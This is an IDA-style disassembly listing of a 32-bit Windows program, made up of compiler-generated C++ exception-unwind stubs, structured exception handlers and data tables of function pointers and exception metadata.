; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_422AF0	proc near		; DATA XREF: sub_422AF0+8o
		mov	eax, offset dword_441858
		jmp	sub_436868
SEH_422AF0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_425A20	proc near		; DATA XREF: sub_425A20+2o
		mov	eax, offset dword_4418E0
		jmp	sub_436868
SEH_425A20	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-40h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B744:				; DATA XREF: ___:00425C72o
		mov	eax, offset dword_441930
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4264F0	proc near		; DATA XREF: sub_4264F0+2o
		mov	eax, offset dword_441A10
		jmp	sub_436868
SEH_4264F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B7A8:				; DATA XREF: ___:00441A6Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426560	proc near		; DATA XREF: sub_426560+2o
		mov	eax, offset dword_441A40
		jmp	sub_436868
SEH_426560	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B7F8:				; DATA XREF: ___:00441ABCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426600	proc near		; DATA XREF: sub_426600+2o
		mov	eax, offset dword_441A90
		jmp	sub_436868
SEH_426600	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426740	proc near		; DATA XREF: sub_426740+2o
		mov	eax, offset dword_441AE0
		jmp	sub_436868
SEH_426740	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426A40	proc near		; DATA XREF: sub_426A40+2o
		mov	eax, offset dword_441B10
		jmp	sub_436868
SEH_426A40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426B00	proc near		; DATA XREF: sub_426B00+2o
		mov	eax, offset dword_441B40
		jmp	sub_436868
SEH_426B00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426F50	proc near		; DATA XREF: sub_426F50+2o
		mov	eax, offset dword_441B70
		jmp	sub_436868
SEH_426F50	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427010	proc near		; DATA XREF: sub_427010+2o
		mov	eax, offset dword_441BA0
		jmp	sub_436868
SEH_427010	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427630	proc near		; DATA XREF: sub_427630+2o
		mov	eax, offset dword_441BD0
		jmp	sub_436868
SEH_427630	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4276F0	proc near		; DATA XREF: sub_4276F0+2o
		mov	eax, offset dword_441C00
		jmp	sub_436868
SEH_4276F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427E60	proc near		; DATA XREF: sub_427E60+2o
		mov	eax, offset dword_441C30
		jmp	sub_436868
SEH_427E60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B948:				; DATA XREF: ___:00441C8Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427ED0	proc near		; DATA XREF: sub_427ED0+2o
		mov	eax, offset dword_441C60
		jmp	sub_436868
SEH_427ED0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B9A8:				; DATA XREF: ___:00441CE4o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427F90	proc near		; DATA XREF: sub_427F90+2o
		mov	eax, offset dword_441CB8
		jmp	sub_436868
SEH_427F90	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43BA08:				; DATA XREF: ___:00441D3Co
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428200	proc near		; DATA XREF: sub_428200+2o
		mov	eax, offset dword_441D10
		jmp	sub_436868
SEH_428200	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------


loc_43BA4B:				; DATA XREF: ___:00441D7Co
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BB32:				; DATA XREF: sub_428360+8o
		mov	eax, offset dword_441D50
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429A60	proc near		; DATA XREF: sub_429A60+2o
		mov	eax, offset dword_441E38
		jmp	sub_436868
SEH_429A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429B40	proc near		; DATA XREF: sub_429B40+2o
		mov	eax, offset dword_441E68
		jmp	sub_436868
SEH_429B40	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429DA0	proc near		; DATA XREF: sub_429DA0+2o
		mov	eax, offset dword_441E98
		jmp	sub_436868
SEH_429DA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A130	proc near		; DATA XREF: sub_42A130+2o
		mov	eax, offset dword_441EC8
		jmp	sub_436868
SEH_42A130	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A1F0	proc near		; DATA XREF: sub_42A1F0+8o
		mov	eax, offset dword_441EF8
		jmp	sub_436868
SEH_42A1F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AF60	proc near		; DATA XREF: sub_42AF60+5o
		mov	eax, offset dword_441F28
		jmp	sub_436868
SEH_42AF60	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43BC30:				; DATA XREF: ___:0042B075o
		mov	eax, offset dword_441F88
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BC48:				; DATA XREF: ___:00442014o
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B100	proc near		; DATA XREF: sub_42B100+2o
		mov	eax, offset dword_441FE8
		jmp	sub_436868
SEH_42B100	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B2E0	proc near		; DATA XREF: sub_42B2E0+2o
		mov	eax, offset dword_442028
		jmp	sub_436868
SEH_42B2E0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43BCA8:				; DATA XREF: ___:0042B382o
		mov	eax, offset dword_442058
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B520	proc near		; DATA XREF: sub_42B520+2o
		mov	eax, offset dword_442088
		jmp	sub_436868
SEH_42B520	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4420B8
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B920	proc near		; DATA XREF: sub_42B920+8o
		mov	eax, offset dword_4420E8
		jmp	sub_436868
SEH_42B920	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42BC10	proc near		; DATA XREF: sub_42BC10+2o
		mov	eax, offset dword_442118
		jmp	sub_436868
SEH_42BC10	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BE24:				; DATA XREF: ___:0042BF08o
		mov	eax, offset dword_442170
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_434850	proc near		; DATA XREF: sub_434850+2o
		mov	eax, offset dword_442258
		jmp	sub_436868
SEH_434850	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BE8B:				; DATA XREF: ___:004422BCo
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BE96:				; DATA XREF: ___:00434948o
		mov	eax, offset dword_442290
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435280	proc near		; DATA XREF: sub_435280+2o
		mov	eax, offset dword_4422C8
		jmp	sub_436868
SEH_435280	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435680	proc near		; DATA XREF: sub_435680+2o
		mov	eax, offset dword_4422F8
		jmp	sub_436868
SEH_435680	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435790	proc near		; DATA XREF: sub_435790+8o
		mov	eax, offset dword_442330
		jmp	sub_436868
SEH_435790	endp

; ---------------------------------------------------------------------------
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db '',0
		align 4
		dd 3BBh	dup(0)
off_43E000	dd offset sub_4017C6	; DATA XREF: sub_4036D0+3FEo
off_43E004	dd offset byte_436870	; DATA XREF: sub_403C70+2o
off_43E008	dd offset off_402009	; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C	dd offset sub_4021F8	; DATA XREF: ___:00407075o
off_43E010	dd offset loc_402171	; DATA XREF: sub_409B70+4o
					; sub_409BD0+Bo ...
off_43E014	dd offset loc_402027	; DATA XREF: sub_40AE50+2o
					; sub_40AEA0+1Co
		dd offset byte_436870
		align 10h
off_43E020	dd offset loc_401ACD	; DATA XREF: ___:0040B1A8o
					; sub_40B200+1Eo
flt_43E024	dd 1.0			; DATA XREF: ___:0040B856r
off_43E028	dd offset sub_401A3C	; DATA XREF: sub_40F680+157o
					; sub_40FE20+1Do
		dd offset sub_40212B
		dd 0
off_43E034	dd offset sub_401AB9	; DATA XREF: sub_40F680+142o
					; sub_40FE20+23o
off_43E038	dd offset loc_40115E	; DATA XREF: sub_4118E0+36o
					; sub_411990+1Do
		dd offset loc_401FE6
		dd 0
off_43E044	dd offset sub_4014BF	; DATA XREF: ___:0041320Do
					; sub_4132A0+1Fo
		dd offset sub_401CF8
		align 10h
off_43E050	dd offset sub_4019BF	; DATA XREF: sub_416CB0+6o
					; sub_417EA0+8o
		dd offset sub_4020A9
		dd 0
off_43E05C	dd offset loc_401C99	; DATA XREF: sub_416D10+6o
					; sub_417ED0+8o
		dd offset sub_401230
		align 8
off_43E068	dd offset loc_40191A	; DATA XREF: sub_416D70o sub_41FC80+8o
		dd offset sub_401CDF
		dd 0
off_43E074	dd offset sub_40111D	; DATA XREF: sub_416DC0o
					; sub_419160+36o
off_43E078	dd offset loc_4014A1	; DATA XREF: sub_417C70+68o
off_43E07C	dd offset sub_401064	; DATA XREF: sub_417D10+8Bo
off_43E080	dd offset sub_40138E	; DATA XREF: sub_417DE0+74o
off_43E084	dd offset loc_401B6D	; DATA XREF: sub_417F00+7Bo
off_43E088	dd offset loc_40202C	; DATA XREF: sub_417FC0+7Bo
off_43E08C	dd offset loc_401F1E	; DATA XREF: sub_418080+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Fh,	40h, 0
off_43E094	dd offset loc_401FD7	; DATA XREF: sub_418130+3Eo
off_43E098	dd offset sub_401E4C	; DATA XREF: sub_4181B0+3Eo
off_43E09C	dd offset loc_40100A	; DATA XREF: sub_418230+10o
off_43E0A0	dd offset loc_4010B4	; DATA XREF: sub_418260+4Bo
off_43E0A4	dd offset sub_401BA4	; DATA XREF: sub_4182E0+10o
off_43E0A8	dd offset sub_401712	; DATA XREF: sub_418310+10o
off_43E0AC	dd offset sub_401613	; DATA XREF: sub_418340+6Bo
dbl_43E0B0	dq -3.0517578125e-5	; DATA XREF: sub_419970+22r
		dd 0
off_43E0BC	dd offset sub_401AF5	; DATA XREF: sub_41A0C0+Bo
					; sub_41A1C0+6o
off_43E0C0	dd offset sub_401E74	; DATA XREF: sub_41B090+Do sub_41B0F0o
off_43E0C4	dd offset sub_4013FC	; DATA XREF: ___:0041B452o
					; ___:0041B53Do
		dd offset sub_40167C
		align 10h
off_43E0D0	dd offset loc_4019E7	; DATA XREF: sub_41D720+77o
					; sub_41D810+1Do
		dd offset sub_401C80
		dd 0
off_43E0DC	dd offset sub_4011FE	; DATA XREF: sub_4264F0+32o
		dd offset sub_401A64
		dd offset sub_401A41
		dd 0
off_43E0EC	dd offset loc_4016D1	; DATA XREF: sub_426560+6Ao
					; sub_426600+1Do
		dd offset sub_401A64
		dd offset byte_436870
		dd 0
off_43E0FC	dd offset loc_401AAF	; DATA XREF: sub_426A40+32o
		dd offset sub_401A64
		dd offset sub_401366
		dd 0
off_43E10C	dd offset sub_40181B	; DATA XREF: sub_426F50+32o
		dd offset sub_401A64
		dd offset sub_401E92
		dd 0
off_43E11C	dd offset sub_40222A	; DATA XREF: sub_427630+32o
		dd offset sub_401A64
		dd offset sub_401A05
		dd 0
off_43E12C	dd offset sub_401C2B	; DATA XREF: sub_427E60+32o
		dd offset sub_4021A8
		dd offset sub_4015AF
		dd 0
off_43E13C	dd offset loc_402068	; DATA XREF: sub_427ED0+7Ao
					; sub_427F90+1Do
		dd offset sub_4021A8
		dd offset byte_436870
		dd 0
off_43E14C	dd offset sub_4021B2	; DATA XREF: sub_428200+4Bo
					; sub_4282F0+10o
		dd offset sub_4021A8
		dd offset sub_401D2A
		dd 0
off_43E15C	dd offset loc_40112C	; DATA XREF: sub_429A60+32o
					; sub_429B00+9o
		dd offset sub_4021A8
		dd offset sub_40137A
		dd 0
off_43E16C	dd offset loc_401B04	; DATA XREF: sub_429DA0+32o
		dd offset sub_4021A8
		dd offset sub_4010AF
		dd 0
off_43E17C	dd offset sub_4017A8	; DATA XREF: sub_42A130+32o
		dd offset sub_4021A8
		dd offset sub_40188E
		dd 0
off_43E18C	dd offset sub_4020D1	; DATA XREF: sub_42B270+27o
dword_43E190	dd 0				dd 8, 0
off_43E19C	dd offset byte_436870	; DATA XREF: sub_42B2E0+39o
off_43E1A0	dd offset sub_401F41	; DATA XREF: ___:0042B3B2o
		dd offset sub_4021A8
		dd offset sub_40134D
		align 10h
off_43E1B0	dd offset sub_401B22	; DATA XREF: sub_42B520+32o
		dd offset sub_4021A8
		dd offset sub_40152D
		align 10h
		dd offset loc_4015F0
		dd offset sub_4021A8
		dd offset sub_4019E2
		align 10h
		dd offset dword_43E348
off_43E1D4	dd offset loc_4368B1	; DATA XREF: ___:004368A8o
					; ___:off_443880o ...
		dd 0FFFFFFFFh, 436C4Ch,	436C60h, 4Dh dup(0)
off_43E318	dd offset off_446CA0	; DATA XREF: ___:0043E330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E318
		dd 0
		db    0			; DATA XREF: ___:0043E358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43E330h
dword_43E348	dd 3 dup(0)			dd offset off_446CA0
		dd offset unk_43E338
		dd 45h dup(0)
dword_43E470	dd 19930520h, 5, 43E490h, 5 dup(0)		dd 0FFFFFFFFh, 437BBCh,	0
		dd offset dword_437070+0B20h
		dd 1, 437B9Bh, 2, 437BA6h, 3, 437BB1h, 2 dup(0)
dword_43E4C0	dd 19930520h, 3Dh, 43E4E0h, 5 dup(0)		dd 0FFFFFFFFh, 437C00h,	0
		dd offset loc_437C0B
		dd 1, 437C16h, 2, 437C24h, 3, 437C32h, 4, 437C40h, 5, 437C4Eh
		dd 6, 437C5Ch, 7, 437C6Ah, 8, 437C78h, 9, 437C86h, 0Ah
